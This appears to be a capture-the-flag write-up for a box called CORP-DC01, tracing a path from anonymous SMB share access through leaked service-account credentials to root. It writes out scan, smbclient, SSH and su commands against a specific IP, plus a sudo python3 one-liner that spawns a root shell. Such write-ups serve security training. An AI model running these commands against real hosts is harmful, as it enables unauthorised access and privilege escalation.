Home›CTF & Writeups›CORP-DC01

CORP-DC01

✓ SOLVED

CorpNet CTF — Anonymous SMB → Credential Exposure → Backup Share → svc_sql → Privilege Escalation (Python3)

1

Overview

Guest-readable NETLOGON exposed logon scripts and credentials. A leaked service-account password unlocked a non-browseable backup share. The initial administrator SSH account was not Linux root; switching to svc_sql revealed a passwordless Python3 sudo rule that provided UID 0.

User Flag✓
Root Flag✓
ResultRoot
2

Recon — SSH & Samba

Service detection identified SSH on TCP 30022 plus Samba services on 30139 and 30445.

Nmap
nmap -sV -p 30022,30139,30445 45.79.210.107
3

Anonymous SMB — NETLOGON Exposure

Anonymous share enumeration disclosed NETLOGON, SYSVOL, and IPC$. NETLOGON was guest-readable and contained logon scripts plus user.txt. RPC enumeration also exposed the local/Samba accounts.

Share listing
smbclient -L //45.79.210.107 -p 30445 -N
NETLOGON
smbclient //45.79.210.107/NETLOGON -p 30445 -N
ls
get login.bat
get svc_sql_map.bat
get user.txt
USER FLAGflag{[REDACTED]}
4

Restricted Backup Share

The svc_sql logon script disclosed the hidden IT-BACKUP share and a service-account password. Authenticated access exposed backup_creds.txt and a misleading root.txt.

Authenticated SMB
smbclient //45.79.210.107/IT-BACKUP -p 30445 -U 'CORP\svc_sql'
False leadThe backup-share root.txt looked like a root flag but was rejected by the platform. Root access still had to be demonstrated on the host.
5

Administrator SSH — Not Root

The leaked administrator credential worked over SSH, but the Linux account was UID 1000 with no sudo permission. The account name was a foothold, not the final privilege level.

SSH
ssh -p 30022 administrator@45.79.210.107
whoami
id
sudo -l
6

Privilege Escalation — svc_sql / Python3

Switching to the compromised svc_sql account and running sudo -l revealed passwordless root execution of /usr/bin/python3.

Switch context
su - svc_sql
sudo -l
Root shell
sudo /usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
whoami
cat /root/root.txt
ROOT FLAGflag{[REDACTED]}
7

Attack Path

Both public flag values are redacted in the page and screenshots.

Guest NETLOGON→Leaked svc_sql credential→IT-BACKUP→Administrator SSH→su svc_sql→sudo Python3→Root